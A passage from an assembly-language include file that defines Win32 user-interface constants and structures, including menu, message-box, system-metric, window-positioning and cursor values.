CF_DSPTEXT EQU 0081h
|
||
CF_DSPBITMAP EQU 0082h
|
||
CF_DSPMETAFILEPICT EQU 0083h
|
||
CF_DSPENHMETAFILE EQU 008Eh
|
||
CF_PRIVATEFIRST EQU 0200h
|
||
CF_PRIVATELAST EQU 02FFh
|
||
CF_GDIOBJFIRST EQU 0300h
|
||
CF_GDIOBJLAST EQU 03FFh
|
||
|
||
; Defines for the fVirt field of the Accelerator table structure.
|
||
|
||
FVIRTKEY EQU TRUE
|
||
FNOINVERT EQU 02h
|
||
FSHIFT EQU 04h
|
||
FCONTROL EQU 08h
|
||
FALT EQU 10h
|
||
|
||
; Owner draw control types
|
||
|
||
ODT_MENU EQU 1
|
||
ODT_LISTBOX EQU 2
|
||
ODT_COMBOBOX EQU 3
|
||
ODT_BUTTON EQU 4
|
||
ODT_STATIC EQU 5
|
||
|
||
; Owner draw actions
|
||
|
||
ODA_DRAWENTIRE EQU 0001h
|
||
ODA_SELECT EQU 0002h
|
||
ODA_FOCUS EQU 0004h
|
||
|
||
; Owner draw state
|
||
|
||
ODS_SELECTED EQU 0001h
|
||
ODS_GRAYED EQU 0002h
|
||
ODS_DISABLED EQU 0004h
|
||
ODS_CHECKED EQU 0008h
|
||
ODS_FOCUS EQU 0010h
|
||
ODS_DEFAULT EQU 0020h
|
||
ODS_COMBOBOXEDIT EQU 1000h
|
||
ODS_HOTLIGHT EQU 0040h
|
||
ODS_INACTIVE EQU 0080h
|
||
ODS_NOACCEL EQU 0100h
|
||
ODS_NOFOCUSRECT EQU 0200h
|
||
|
||
; PeekMessage() Options
|
||
|
||
PM_NOREMOVE EQU 0000h
|
||
PM_REMOVE EQU 0001h
|
||
PM_NOYIELD EQU 0002h
|
||
PM_QS_INPUT EQU QS_INPUT shl 16
|
||
PM_QS_POSTMESSAGE EQU (QS_POSTMESSAGE OR QS_HOTKEY OR QS_TIMER) shl 16
|
||
PM_QS_PAINT EQU QS_PAINT shl 16
|
||
PM_QS_SENDMESSAGE EQU QS_SENDMESSAGE shl 16
|
||
|
||
MOD_ALT EQU 0001h
|
||
MOD_CONTROL EQU 0002h
|
||
MOD_SHIFT EQU 0004h
|
||
MOD_WIN EQU 0008h
|
||
|
||
IDHOT_SNAPWINDOW EQU (-1) SHIFT-PRINTSCRN
|
||
IDHOT_SNAPDESKTOP EQU (-2) PRINTSCRN
|
||
|
||
; End Windows Flags
|
||
|
||
ENDSESSION_LOGOFF EQU 80000000h
|
||
EWX_LOGOFF EQU 0
|
||
EWX_SHUTDOWN EQU 00000001h
|
||
EWX_REBOOT EQU 00000002h
|
||
EWX_FORCE EQU 00000004h
|
||
EWX_POWEROFF EQU 00000008h
|
||
EWX_FORCEIFHUNG EQU 00000010h
|
||
|
||
;Broadcast Special Message Recipient list
|
||
|
||
BSM_ALLCOMPONENTS EQU 00000000h
|
||
BSM_VXDS EQU 00000001h
|
||
BSM_NETDRIVER EQU 00000002h
|
||
BSM_INSTALLABLEDRIVERS EQU 00000004h
|
||
BSM_APPLICATIONS EQU 00000008h
|
||
BSM_ALLDESKTOPS EQU 00000010h
|
||
|
||
;Broadcast Special Message Flags
|
||
|
||
BSF_QUERY EQU 00000001h
|
||
BSF_IGNORECURRENTTASK EQU 00000002h
|
||
BSF_FLUSHDISK EQU 00000004h
|
||
BSF_NOHANG EQU 00000008h
|
||
BSF_POSTMESSAGE EQU 00000010h
|
||
BSF_FORCEIFHUNG EQU 00000020h
|
||
BSF_NOTIMEOUTIFNOTHUNG EQU 00000040h
|
||
BSF_ALLOWSFW EQU 00000080h
|
||
|
||
BROADCAST_QUERY_DENY EQU 424D5144h ; Return this value to deny a query.
|
||
|
||
; RegisterDeviceNotification
|
||
|
||
DEVICE_NOTIFY_WINDOW_HANDLE EQU 00000000h
|
||
DEVICE_NOTIFY_SERVICE_HANDLE EQU 00000001h
|
||
|
||
; InSendMessageEx return value
|
||
|
||
ISMEX_NOSEND EQU 00000000h
|
||
ISMEX_SEND EQU 00000001h
|
||
ISMEX_NOTIFY EQU 00000002h
|
||
ISMEX_CALLBACK EQU 00000004h
|
||
ISMEX_REPLIED EQU 00000008h
|
||
|
||
FLASHW_STOP EQU 0
|
||
FLASHW_CAPTION EQU 00000001h
|
||
FLASHW_TRAY EQU 00000002h
|
||
FLASHW_ALL EQU (FLASHW_CAPTION OR FLASHW_TRAY)
|
||
FLASHW_TIMER EQU 00000004h
|
||
FLASHW_TIMERNOFG EQU 0000000Ch
|
||
|
||
; SetWindowPos Flags
|
||
|
||
SWP_NOSIZE EQU 0001h
|
||
SWP_NOMOVE EQU 0002h
|
||
SWP_NOZORDER EQU 0004h
|
||
SWP_NOREDRAW EQU 0008h
|
||
SWP_NOACTIVATE EQU 0010h
|
||
SWP_FRAMECHANGED EQU 0020h ; The frame changed: send WM_NCCALCSIZE
|
||
SWP_SHOWWINDOW EQU 0040h
|
||
SWP_HIDEWINDOW EQU 0080h
|
||
SWP_NOCOPYBITS EQU 0100h
|
||
SWP_NOOWNERZORDER EQU 0200h ; Don't do owner Z ordering
|
||
SWP_NOSENDCHANGING EQU 0400h ; Don't send WM_WINDOWPOSCHANGING
|
||
SWP_DRAWFRAME EQU SWP_FRAMECHANGED
|
||
SWP_NOREPOSITION EQU SWP_NOOWNERZORDER
|
||
SWP_DEFERERASE EQU 2000h
|
||
SWP_ASYNCWINDOWPOS EQU 4000h
|
||
|
||
HWND_TOP EQU 0
|
||
HWND_BOTTOM EQU 1
|
||
HWND_TOPMOST EQU -1
|
||
HWND_NOTOPMOST EQU -2
|
||
|
||
; Mouse event flags
|
||
|
||
MOUSEEVENTF_MOVE EQU 0001h; mouse move
|
||
MOUSEEVENTF_LEFTDOWN EQU 0002h; left button down
|
||
MOUSEEVENTF_LEFTUP EQU 0004h; left button up
|
||
MOUSEEVENTF_RIGHTDOWN EQU 0008h; right button down
|
||
MOUSEEVENTF_RIGHTUP EQU 0010h; right button up
|
||
MOUSEEVENTF_MIDDLEDOWN EQU 0020h; middle button down
|
||
MOUSEEVENTF_MIDDLEUP EQU 0040h; middle button up
|
||
MOUSEEVENTF_WHEEL EQU 0800h; wheel button rolled
|
||
MOUSEEVENTF_VIRTUALDESK EQU 4000h; map to entire virtual desktop
|
||
MOUSEEVENTF_ABSOLUTE EQU 8000h; absolute move
|
||
|
||
INPUT_MOUSE EQU 0
|
||
INPUT_KEYBOARD EQU 1
|
||
INPUT_HARDWARE EQU 2
|
||
|
||
MWMO_WAITALL EQU 0001h
|
||
MWMO_ALERTABLE EQU 0002h
|
||
MWMO_INPUTAVAILABLE EQU 0004h
|
||
|
||
; TBBUTTON
|
||
|
||
TBBUTTON struc
|
||
iBitmap UINT ?
|
||
idCommand UINT ?
|
||
fsState UCHAR ?
|
||
fsStyle UCHAR ?
|
||
bReserved db 2 dup(?)
|
||
dwData ULONG ?
|
||
iString UINT ?
|
||
TBBUTTON ends
|
||
|
||
|
||
; Queue status flags for GetQueueStatus() and MsgWaitForMultipleObjects()
|
||
|
||
QS_KEY EQU 0001h
|
||
QS_MOUSEMOVE EQU 0002h
|
||
QS_MOUSEBUTTON EQU 0004h
|
||
QS_POSTMESSAGE EQU 0008h
|
||
QS_TIMER EQU 0010h
|
||
QS_PAINT EQU 0020h
|
||
QS_SENDMESSAGE EQU 0040h
|
||
QS_HOTKEY EQU 0080h
|
||
QS_ALLPOSTMESSAGE EQU 0100h
|
||
QS_MOUSE EQU (QS_MOUSEMOVE OR \
|
||
QS_MOUSEBUTTON)
|
||
|
||
QS_INPUT EQU (QS_MOUSE OR \
|
||
QS_KEY)
|
||
|
||
QS_ALLEVENTS EQU (QS_INPUT OR \
|
||
QS_POSTMESSAGE OR \
|
||
QS_TIMER OR \
|
||
QS_PAINT OR \
|
||
QS_HOTKEY)
|
||
|
||
QS_ALLINPUT EQU (QS_INPUT OR \
|
||
QS_POSTMESSAGE OR \
|
||
QS_TIMER OR \
|
||
QS_PAINT OR \
|
||
QS_HOTKEY OR \
|
||
QS_SENDMESSAGE)
|
||
|
||
; GetSystemMetrics() codes
|
||
|
||
SM_CXSCREEN EQU 0
|
||
SM_CYSCREEN EQU 1
|
||
SM_CXVSCROLL EQU 2
|
||
SM_CYHSCROLL EQU 3
|
||
SM_CYCAPTION EQU 4
|
||
SM_CXBORDER EQU 5
|
||
SM_CYBORDER EQU 6
|
||
SM_CXDLGFRAME EQU 7
|
||
SM_CYDLGFRAME EQU 8
|
||
SM_CYVTHUMB EQU 9
|
||
SM_CXHTHUMB EQU 10
|
||
SM_CXICON EQU 11
|
||
SM_CYICON EQU 12
|
||
SM_CXCURSOR EQU 13
|
||
SM_CYCURSOR EQU 14
|
||
SM_CYMENU EQU 15
|
||
SM_CXFULLSCREEN EQU 16
|
||
SM_CYFULLSCREEN EQU 17
|
||
SM_CYKANJIWINDOW EQU 18
|
||
SM_MOUSEPRESENT EQU 19
|
||
SM_CYVSCROLL EQU 20
|
||
SM_CXHSCROLL EQU 21
|
||
SM_DEBUG EQU 22
|
||
SM_SWAPBUTTON EQU 23
|
||
SM_RESERVED1 EQU 24
|
||
SM_RESERVED2 EQU 25
|
||
SM_RESERVED3 EQU 26
|
||
SM_RESERVED4 EQU 27
|
||
SM_CXMIN EQU 28
|
||
SM_CYMIN EQU 29
|
||
SM_CXSIZE EQU 30
|
||
SM_CYSIZE EQU 31
|
||
SM_CXFRAME EQU 32
|
||
SM_CYFRAME EQU 33
|
||
SM_CXMINTRACK EQU 34
|
||
SM_CYMINTRACK EQU 35
|
||
SM_CXDOUBLECLK EQU 36
|
||
SM_CYDOUBLECLK EQU 37
|
||
SM_CXICONSPACING EQU 38
|
||
SM_CYICONSPACING EQU 39
|
||
SM_MENUDROPALIGNMENT EQU 40
|
||
SM_PENWINDOWS EQU 41
|
||
SM_DBCSENABLED EQU 42
|
||
SM_CMOUSEBUTTONS EQU 43
|
||
SM_CXFIXEDFRAME EQU SM_CXDLGFRAME ;win40 name change
|
||
SM_CYFIXEDFRAME EQU SM_CYDLGFRAME ;win40 name change
|
||
SM_CXSIZEFRAME EQU SM_CXFRAME ;win40 name change
|
||
SM_CYSIZEFRAME EQU SM_CYFRAME ;win40 name change
|
||
SM_SECURE EQU 44
|
||
SM_CXEDGE EQU 45
|
||
SM_CYEDGE EQU 46
|
||
SM_CXMINSPACING EQU 47
|
||
SM_CYMINSPACING EQU 48
|
||
SM_CXSMICON EQU 49
|
||
SM_CYSMICON EQU 50
|
||
SM_CYSMCAPTION EQU 51
|
||
SM_CXSMSIZE EQU 52
|
||
SM_CYSMSIZE EQU 53
|
||
SM_CXMENUSIZE EQU 54
|
||
SM_CYMENUSIZE EQU 55
|
||
SM_ARRANGE EQU 56
|
||
SM_CXMINIMIZED EQU 57
|
||
SM_CYMINIMIZED EQU 58
|
||
SM_CXMAXTRACK EQU 59
|
||
SM_CYMAXTRACK EQU 60
|
||
SM_CXMAXIMIZED EQU 61
|
||
SM_CYMAXIMIZED EQU 62
|
||
SM_NETWORK EQU 63
|
||
SM_CLEANBOOT EQU 67
|
||
SM_CXDRAG EQU 68
|
||
SM_CYDRAG EQU 69
|
||
SM_SHOWSOUNDS EQU 70
|
||
SM_CXMENUCHECK EQU 71 ; Use instead of GetMenuCheckMarkDimensions()!
|
||
SM_CYMENUCHECK EQU 72
|
||
SM_SLOWMACHINE EQU 73
|
||
SM_MIDEASTENABLED EQU 74
|
||
SM_MOUSEWHEELPRESENT EQU 75
|
||
SM_XVIRTUALSCREEN EQU 76
|
||
SM_YVIRTUALSCREEN EQU 77
|
||
SM_CXVIRTUALSCREEN EQU 78
|
||
SM_CYVIRTUALSCREEN EQU 79
|
||
SM_CMONITORS EQU 80
|
||
SM_SAMEDISPLAYFORMAT EQU 81
|
||
SM_CMETRICS EQU 76
|
||
SM_REMOTESESSION EQU 1000
|
||
|
||
; return codes for WM_MENUCHAR
|
||
|
||
MNC_IGNORE EQU 0
|
||
MNC_CLOSE EQU 1
|
||
MNC_EXECUTE EQU 2
|
||
MNC_SELECT EQU 3
|
||
|
||
MNS_NOCHECK EQU 80000000h
|
||
MNS_MODELESS EQU 40000000h
|
||
MNS_DRAGDROP EQU 20000000h
|
||
MNS_AUTODISMISS EQU 10000000h
|
||
MNS_NOTIFYBYPOS EQU 08000000h
|
||
MNS_CHECKORBMP EQU 04000000h
|
||
|
||
MIM_MAXHEIGHT EQU 00000001h
|
||
MIM_BACKGROUND EQU 00000002h
|
||
MIM_HELPID EQU 00000004h
|
||
MIM_MENUDATA EQU 00000008h
|
||
MIM_STYLE EQU 00000010h
|
||
MIM_APPLYTOSUBMENUS EQU 80000000h
|
||
|
||
; WM_MENUDRAG return values.
|
||
|
||
MND_CONTINUE EQU 0
|
||
MND_ENDMENU EQU 1
|
||
|
||
; WM_MENUGETOBJECT return values
|
||
|
||
MNGO_NOINTERFACE EQU 00000000h
|
||
MNGO_NOERROR EQU 00000001h
|
||
|
||
MIIM_STATE EQU 00000001h
|
||
MIIM_ID EQU 00000002h
|
||
MIIM_SUBMENU EQU 00000004h
|
||
MIIM_CHECKMARKS EQU 00000008h
|
||
MIIM_TYPE EQU 00000010h
|
||
MIIM_DATA EQU 00000020h
|
||
MIIM_STRING EQU 00000040h
|
||
MIIM_BITMAP EQU 00000080h
|
||
MIIM_FTYPE EQU 00000100h
|
||
|
||
HBMMENU_CALLBACK EQU -1
|
||
HBMMENU_SYSTEM EQU 1
|
||
HBMMENU_MBAR_RESTORE EQU 2
|
||
HBMMENU_MBAR_MINIMIZE EQU 3
|
||
HBMMENU_MBAR_CLOSE EQU 5
|
||
HBMMENU_MBAR_CLOSE_D EQU 6
|
||
HBMMENU_MBAR_MINIMIZE_D EQU 7
|
||
HBMMENU_POPUP_CLOSE EQU 8
|
||
HBMMENU_POPUP_RESTORE EQU 9
|
||
HBMMENU_POPUP_MAXIMIZE EQU 10
|
||
HBMMENU_POPUP_MINIMIZE EQU 11
|
||
|
||
GMDI_USEDISABLED EQU 0001h
|
||
GMDI_GOINTOPOPUPS EQU 0002h
|
||
|
||
; Flags for TrackPopupMenu
|
||
|
||
TPM_LEFTBUTTON EQU 0000h
|
||
TPM_RIGHTBUTTON EQU 0002h
|
||
TPM_LEFTALIGN EQU 0000h
|
||
TPM_CENTERALIGN EQU 0004h
|
||
TPM_RIGHTALIGN EQU 0008h
|
||
TPM_TOPALIGN EQU 0000h
|
||
TPM_VCENTERALIGN EQU 0010h
|
||
TPM_BOTTOMALIGN EQU 0020h
|
||
TPM_HORIZONTAL EQU 0000h; Horz alignment matters more
|
||
TPM_VERTICAL EQU 0040h; Vert alignment matters more
|
||
TPM_NONOTIFY EQU 0080h; Don't send any notification msgs
|
||
TPM_RETURNCMD EQU 0100h
|
||
TPM_RECURSE EQU 0001h
|
||
TPM_HORPOSANIMATION EQU 0400h
|
||
TPM_HORNEGANIMATION EQU 0800h
|
||
TPM_VERPOSANIMATION EQU 1000h
|
||
TPM_VERNEGANIMATION EQU 2000h
|
||
TPM_NOANIMATION EQU 4000h
|
||
|
||
; DrawText() Format Flags
|
||
|
||
DT_TOP EQU 00000000h
|
||
DT_LEFT EQU 00000000h
|
||
DT_CENTER EQU 00000001h
|
||
DT_RIGHT EQU 00000002h
|
||
DT_VCENTER EQU 00000004h
|
||
DT_BOTTOM EQU 00000008h
|
||
DT_WORDBREAK EQU 00000010h
|
||
DT_SINGLELINE EQU 00000020h
|
||
DT_EXPANDTABS EQU 00000040h
|
||
DT_TABSTOP EQU 00000080h
|
||
DT_NOCLIP EQU 00000100h
|
||
DT_EXTERNALLEADING EQU 00000200h
|
||
DT_CALCRECT EQU 00000400h
|
||
DT_NOPREFIX EQU 00000800h
|
||
DT_INTERNAL EQU 00001000h
|
||
DT_EDITCONTROL EQU 00002000h
|
||
DT_PATH_ELLIPSIS EQU 00004000h
|
||
DT_END_ELLIPSIS EQU 00008000h
|
||
DT_MODIFYSTRING EQU 00010000h
|
||
DT_RTLREADING EQU 00020000h
|
||
DT_WORD_ELLIPSIS EQU 00040000h
|
||
DT_NOFULLWIDTHCHARBREAK EQU 00080000h
|
||
DT_HIDEPREFIX EQU 00100000h
|
||
DT_PREFIXONLY EQU 00200000h
|
||
|
||
; Monolithic state-drawing routine
|
||
; Image type
|
||
|
||
DST_COMPLEX EQU 0000h
|
||
DST_TEXT EQU 0001h
|
||
DST_PREFIXTEXT EQU 0002h
|
||
DST_ICON EQU 0003h
|
||
DST_BITMAP EQU 0004h
|
||
|
||
; State type
|
||
|
||
DSS_NORMAL EQU 0000h
|
||
DSS_UNION EQU 0010h; Gray string appearance
|
||
DSS_DISABLED EQU 0020h
|
||
DSS_MONO EQU 0080h
|
||
DSS_HIDEPREFIX EQU 0200h
|
||
DSS_PREFIXONLY EQU 0400h
|
||
DSS_RIGHT EQU 8000h
|
||
|
||
; GetDCEx() flags
|
||
|
||
DCX_WINDOW EQU 00000001h
|
||
DCX_CACHE EQU 00000002h
|
||
DCX_NORESETATTRS EQU 00000004h
|
||
DCX_CLIPCHILDREN EQU 00000008h
|
||
DCX_CLIPSIBLINGS EQU 00000010h
|
||
DCX_PARENTCLIP EQU 00000020h
|
||
DCX_EXCLUDERGN EQU 00000040h
|
||
DCX_INTERSECTRGN EQU 00000080h
|
||
DCX_EXCLUDEUPDATE EQU 00000100h
|
||
DCX_INTERSECTUPDATE EQU 00000200h
|
||
DCX_LOCKWINDOWUPDATE EQU 00000400h
|
||
DCX_VALIDATE EQU 00200000h
|
||
|
||
; RedrawWindow() flags
|
||
|
||
RDW_INVALIDATE EQU 0001h
|
||
RDW_INTERNALPAINT EQU 0002h
|
||
RDW_ERASE EQU 0004h
|
||
RDW_VALIDATE EQU 0008h
|
||
RDW_NOINTERNALPAINT EQU 0010h
|
||
RDW_NOERASE EQU 0020h
|
||
RDW_NOCHILDREN EQU 0040h
|
||
RDW_ALLCHILDREN EQU 0080h
|
||
RDW_UPDATENOW EQU 0100h
|
||
RDW_ERASENOW EQU 0200h
|
||
RDW_FRAME EQU 0400h
|
||
RDW_NOFRAME EQU 0800h
|
||
|
||
; EnableScrollBar() flags
|
||
|
||
ESB_ENABLE_BOTH EQU 0000h
|
||
ESB_DISABLE_BOTH EQU 0003h
|
||
ESB_DISABLE_LEFT EQU 0001h
|
||
ESB_DISABLE_RIGHT EQU 0002h
|
||
ESB_DISABLE_UP EQU 0001h
|
||
ESB_DISABLE_DOWN EQU 0002h
|
||
ESB_DISABLE_LTUP EQU ESB_DISABLE_LEFT
|
||
ESB_DISABLE_RTDN EQU ESB_DISABLE_RIGHT
|
||
|
||
; MessageBox() Flags
|
||
|
||
MB_OK EQU 00000000h
|
||
MB_OKCANCEL EQU 00000001h
|
||
MB_ABORTRETRYIGNORE EQU 00000002h
|
||
MB_YESNOCANCEL EQU 00000003h
|
||
MB_YESNO EQU 00000004h
|
||
MB_RETRYCANCEL EQU 00000005h
|
||
MB_ICONHAND EQU 00000010h
|
||
MB_ICONQUESTION EQU 00000020h
|
||
MB_ICONEXCLAMATION EQU 00000030h
|
||
MB_ICONASTERISK EQU 00000040h
|
||
MB_USERICON EQU 00000080h
|
||
MB_ICONWARNING EQU MB_ICONEXCLAMATION
|
||
MB_ICONERROR EQU MB_ICONHAND
|
||
MB_ICONINFORMATION EQU MB_ICONASTERISK
|
||
MB_ICONSTOP EQU MB_ICONHAND
|
||
MB_DEFBUTTON1 EQU 00000000h
|
||
MB_DEFBUTTON2 EQU 00000100h
|
||
MB_DEFBUTTON3 EQU 00000200h
|
||
MB_DEFBUTTON4 EQU 00000300h
|
||
MB_APPLMODAL EQU 00000000h
|
||
MB_SYSTEMMODAL EQU 00001000h
|
||
MB_TASKMODAL EQU 00002000h
|
||
MB_HELP EQU 00004000h
|
||
MB_NOFOCUS EQU 00008000h
|
||
MB_SETFOREGROUND EQU 00010000h
|
||
MB_DEFAULT_DESKTOP_ONLY EQU 00020000h
|
||
MB_TOPMOST EQU 00040000h
|
||
MB_RIGHT EQU 00080000h
|
||
MB_RTLREADING EQU 00100000h
|
||
MB_TYPEMASK EQU 0000000Fh
|
||
MB_ICONMASK EQU 000000F0h
|
||
MB_DEFMASK EQU 00000F00h
|
||
MB_MODEMASK EQU 00003000h
|
||
MB_MISCMASK EQU 0000C000h
|
||
|
||
CWP_ALL EQU 0000h
|
||
CWP_SKIPINVISIBLE EQU 0001h
|
||
CWP_SKIPDISABLED EQU 0002h
|
||
CWP_SKIPTRANSPARENT EQU 0004h
|
||
|
||
; Shell definitions
|
||
|
||
NIM_ADD EQU 00000000h
|
||
NIM_MODIFY EQU 00000001h
|
||
NIM_DELETE EQU 00000002h
|
||
NIM_SETFOCUS EQU 00000003h
|
||
|
||
NIF_MESSAGE EQU 00000001h
|
||
NIF_ICON EQU 00000002h
|
||
NIF_TIP EQU 00000004h
|
||
NIF_STATE EQU 00000008h
|
||
|
||
NIS_HIDDEN EQU 00000001h
|
||
NIS_SHAREDICON EQU 00000002h
|
||
|
||
NOTIFYICONDATA STRUC
|
||
cbSize DD SIZE NOTIFYICONDATA
|
||
hWnd DD 0
|
||
uID DD 0
|
||
uNIFlags DD 0
|
||
uCallbackMessage DD 0
|
||
hIcon DD 0
|
||
szTip DB 64 DUP(0)
|
||
NOTIFYICONDATA ENDS
|
||
|
||
|
||
; Color Types
|
||
|
||
CTLCOLOR_MSGBOX EQU 0
|
||
CTLCOLOR_EDIT EQU 1
|
||
CTLCOLOR_LISTBOX EQU 2
|
||
CTLCOLOR_BTN EQU 3
|
||
CTLCOLOR_DLG EQU 4
|
||
CTLCOLOR_SCROLLBAR EQU 5
|
||
CTLCOLOR_STATIC EQU 6
|
||
CTLCOLOR_MAX EQU 7
|
||
COLOR_SCROLLBAR EQU 0
|
||
COLOR_BACKGROUND EQU 1
|
||
COLOR_ACTIVECAPTION EQU 2
|
||
COLOR_INACTIVECAPTION EQU 3
|
||
COLOR_MENU EQU 4
|
||
COLOR_WINDOW EQU 5
|
||
COLOR_WINDOWFRAME EQU 6
|
||
COLOR_MENUTEXT EQU 7
|
||
COLOR_WINDOWTEXT EQU 8
|
||
COLOR_CAPTIONTEXT EQU 9
|
||
COLOR_ACTIVEBORDER EQU 10
|
||
COLOR_INACTIVEBORDER EQU 11
|
||
COLOR_APPWORKSPACE EQU 12
|
||
COLOR_HIGHLIGHT EQU 13
|
||
COLOR_HIGHLIGHTTEXT EQU 14
|
||
COLOR_BTNFACE EQU 15
|
||
COLOR_BTNSHADOW EQU 16
|
||
COLOR_GRAYTEXT EQU 17
|
||
COLOR_BTNTEXT EQU 18
|
||
COLOR_INACTIVECAPTIONTEXT EQU 19
|
||
COLOR_BTNHIGHLIGHT EQU 20
|
||
COLOR_3DDKSHADOW EQU 21
|
||
COLOR_3DLIGHT EQU 22
|
||
COLOR_INFOTEXT EQU 23
|
||
COLOR_INFOBK EQU 24
|
||
COLOR_HOTLIGHT EQU 26
|
||
COLOR_GRADIENTACTIVECAPTION EQU 27
|
||
COLOR_GRADIENTINACTIVECAPTION EQU 28
|
||
COLOR_DESKTOP EQU COLOR_BACKGROUND
|
||
COLOR_3DFACE EQU COLOR_BTNFACE
|
||
COLOR_3DSHADOW EQU COLOR_BTNSHADOW
|
||
COLOR_3DHIGHLIGHT EQU COLOR_BTNHIGHLIGHT
|
||
COLOR_3DHILIGHT EQU COLOR_BTNHIGHLIGHT
|
||
COLOR_BTNHILIGHT EQU COLOR_BTNHIGHLIGHT
|
||
|
||
; GetWindow() Constants
|
||
|
||
GW_HWNDFIRST EQU 0
|
||
GW_HWNDLAST EQU 1
|
||
GW_HWNDNEXT EQU 2
|
||
GW_HWNDPREV EQU 3
|
||
GW_OWNER EQU 4
|
||
GW_CHILD EQU 5
|
||
GW_MAX EQU 5
|
||
GW_ENABLEDPOPUP EQU 6
|
||
|
||
; Menu flags for Add/Check/EnableMenuItem()
|
||
|
||
MF_INSERT EQU 00000000h
|
||
MF_CHANGE EQU 00000080h
|
||
MF_APPEND EQU 00000100h
|
||
MF_DELETE EQU 00000200h
|
||
MF_REMOVE EQU 00001000h
|
||
MF_BYCOMMAND EQU 00000000h
|
||
MF_BYPOSITION EQU 00000400h
|
||
MF_SEPARATOR EQU 00000800h
|
||
MF_ENABLED EQU 00000000h
|
||
MF_GRAYED EQU 00000001h
|
||
MF_DISABLED EQU 00000002h
|
||
MF_UNCHECKED EQU 00000000h
|
||
MF_CHECKED EQU 00000008h
|
||
MF_USECHECKBITMAPS EQU 00000200h
|
||
MF_STRING EQU 00000000h
|
||
MF_BITMAP EQU 00000004h
|
||
MF_OWNERDRAW EQU 00000100h
|
||
MF_POPUP EQU 00000010h
|
||
MF_MENUBARBREAK EQU 00000020h
|
||
MF_MENUBREAK EQU 00000040h
|
||
MF_UNHILITE EQU 00000000h
|
||
MF_HILITE EQU 00000080h
|
||
MF_DEFAULT EQU 00001000h
|
||
MF_SYSMENU EQU 00002000h
|
||
MF_HELP EQU 00004000h
|
||
MF_RIGHTJUSTIFY EQU 00004000h
|
||
MF_MOUSESELECT EQU 00008000h
|
||
|
||
MFT_STRING EQU MF_STRING
|
||
MFT_BITMAP EQU MF_BITMAP
|
||
MFT_MENUBARBREAK EQU MF_MENUBARBREAK
|
||
MFT_MENUBREAK EQU MF_MENUBREAK
|
||
MFT_OWNERDRAW EQU MF_OWNERDRAW
|
||
MFT_RADIOCHECK EQU 00000200h
|
||
MFT_SEPARATOR EQU MF_SEPARATOR
|
||
MFT_RIGHTORDER EQU 00002000h
|
||
MFT_RIGHTJUSTIFY EQU MF_RIGHTJUSTIFY
|
||
|
||
; Menu flags for Add/Check/EnableMenuItem()
|
||
|
||
MFS_GRAYED EQU 00000003h
|
||
MFS_DISABLED EQU MFS_GRAYED
|
||
MFS_CHECKED EQU MF_CHECKED
|
||
MFS_HILITE EQU MF_HILITE
|
||
MFS_ENABLED EQU MF_ENABLED
|
||
MFS_UNCHECKED EQU MF_UNCHECKED
|
||
MFS_UNHILITE EQU MF_UNHILITE
|
||
MFS_DEFAULT EQU MF_DEFAULT
|
||
|
||
; System Menu Command Values
|
||
|
||
SC_SIZE EQU 0F000h
|
||
SC_MOVE EQU 0F010h
|
||
SC_MINIMIZE EQU 0F020h
|
||
SC_MAXIMIZE EQU 0F030h
|
||
SC_NEXTWINDOW EQU 0F040h
|
||
SC_PREVWINDOW EQU 0F050h
|
||
SC_CLOSE EQU 0F060h
|
||
SC_VSCROLL EQU 0F070h
|
||
SC_HSCROLL EQU 0F080h
|
||
SC_MOUSEMENU EQU 0F090h
|
||
SC_KEYMENU EQU 0F100h
|
||
SC_ARRANGE EQU 0F110h
|
||
SC_RESTORE EQU 0F120h
|
||
SC_TASKLIST EQU 0F130h
|
||
SC_SCREENSAVE EQU 0F140h
|
||
SC_HOTKEY EQU 0F150h
|
||
SC_DEFAULT EQU 0F160h
|
||
SC_MONITORPOWER EQU 0F170h
|
||
SC_CONTEXTHELP EQU 0F180h
|
||
SC_SEPARATOR EQU 0F00Fh
|
||
SC_ICON EQU SC_MINIMIZE
|
||
SC_ZOOM EQU SC_MAXIMIZE
|
||
|
||
; Standard Cursor IDs
|
||
|
||
IDC_ARROW EQU 32512
|
||
IDC_IBEAM EQU 32513
|
||
IDC_WAIT EQU 32514
|
||
IDC_CROSS EQU 32515
|
||
IDC_UPARROW EQU 32516
|
||
IDC_SIZE EQU 32640 ; OBSOLETE: use IDC_SIZEALL
|
||
IDC_ICON EQU 32641 ; OBSOLETE: use IDC_ARROW
|
||
IDC_SIZENWSE EQU 32642
|
||
IDC_SIZENESW EQU 32643
|
||
IDC_SIZEWE EQU 32644
|
||
IDC_SIZENS EQU 32645
|
||
IDC_SIZEALL EQU 32646
|
||
IDC_NO EQU 32648 ; not in win3.1
|
||
IDC_HAND EQU 32649
|
||
IDC_APPSTARTING EQU 32650 ; not in win3.1
|
||
IDC_HELP EQU 32651
|
||
|
||
IMAGE_BITMAP EQU 0
|
||
IMAGE_ICON EQU 1
|
||
IMAGE_CURSOR EQU 2
|
||
IMAGE_ENHMETAFILE EQU 3
|
||
|
||
LR_DEFAULTCOLOR EQU 0000h
|
||
LR_MONOCHROME EQU 0001h
|
||
LR_COLOR EQU 0002h
|
||
LR_COPYRETURNORG EQU 0004h
|
||
LR_COPYDELETEORG EQU 0008h
|
||
LR_LOADFROMFILE EQU 0010h
|
||
LR_LOADTRANSPARENT EQU 0020h
|
||
LR_DEFAULTSIZE EQU 0040h
|
||
LR_VGACOLOR EQU 0080h
|
||
LR_LOADMAP3DCOLORS EQU 1000h
|
||
LR_CREATEDIBSECTION EQU 2000h
|
||
LR_COPYFROMRESOURCE EQU 4000h
|
||
LR_SHARED EQU 8000h
|
||
|
||
; OEM Resource Ordinal Numbers
|
||
|
||
OBM_CLOSE EQU 32754
|
||
OBM_UPARROW EQU 32753
|
||
OBM_DNARROW EQU 32752
|
||
OBM_RGARROW EQU 32751
|
||
OBM_LFARROW EQU 32750
|
||
OBM_REDUCE EQU 32749
|
||
OBM_ZOOM EQU 32748
|
||
OBM_RESTORE EQU 32747
|
||
OBM_REDUCED EQU 32746
|
||
OBM_ZOOMD EQU 32745
|
||
OBM_RESTORED EQU 32744
|
||
OBM_UPARROWD EQU 32743
|
||
OBM_DNARROWD EQU 32742
|
||
OBM_RGARROWD EQU 32741
|
||
OBM_LFARROWD EQU 32740
|
||
OBM_MNARROW EQU 32739
|
||
OBM_COMBO EQU 32738
|
||
OBM_UPARROWI EQU 32737
|
||
OBM_DNARROWI EQU 32736
|
||
OBM_RGARROWI EQU 32735
|
||
OBM_LFARROWI EQU 32734
|
||
OBM_OLD_CLOSE EQU 32767
|
||
OBM_SIZE EQU 32766
|
||
OBM_OLD_UPARROW EQU 32765
|
||
OBM_OLD_DNARROW EQU 32764
|
||
